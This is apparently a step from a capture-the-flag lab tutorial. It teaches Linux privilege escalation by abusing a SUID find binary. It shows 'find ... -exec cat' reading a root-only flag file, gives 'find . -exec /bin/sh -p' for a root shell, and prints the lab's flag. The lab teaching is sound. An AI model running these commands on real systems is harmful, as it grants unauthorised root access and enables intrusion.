Turning SUID find into root

find runs commands for you

find has an -exec option that runs a command on each file it finds. Here is the key insight: because find itself is running as root (the SUID bit), any command it launches with -exec also runs as root.

You start as student, so you cannot read the root-only flag directly:

cat /root/root.txt

In the terminal (permission denied — you are still just student)

student@vulntech:~$ cat /root/root.txt
cat: /root/root.txt: Permission denied

But ask the SUID find to read it for you, and root reads it on your behalf:

find /root/root.txt -exec cat {} \;

In the terminal (find is root, so the cat it launches is root — and prints the flag)

student@vulntech:~$ find /root/root.txt -exec cat {} \;
find /root/root.txt -exec cat {} \;
vulntech{r00t_on_the_box_privesc}

{} stands for the file find matched, and \; ends the -exec command. For a full interactive root shell you would use find . -exec /bin/sh -p \; — the -p keeps the root privileges instead of dropping them. Reading the flag is enough to prove the escalation.

Tip: This ‘run a command through a SUID program’ trick works for dozens of binaries, each with its own syntax. The website GTFOBins catalogues them — when you find a SUID binary, look it up there.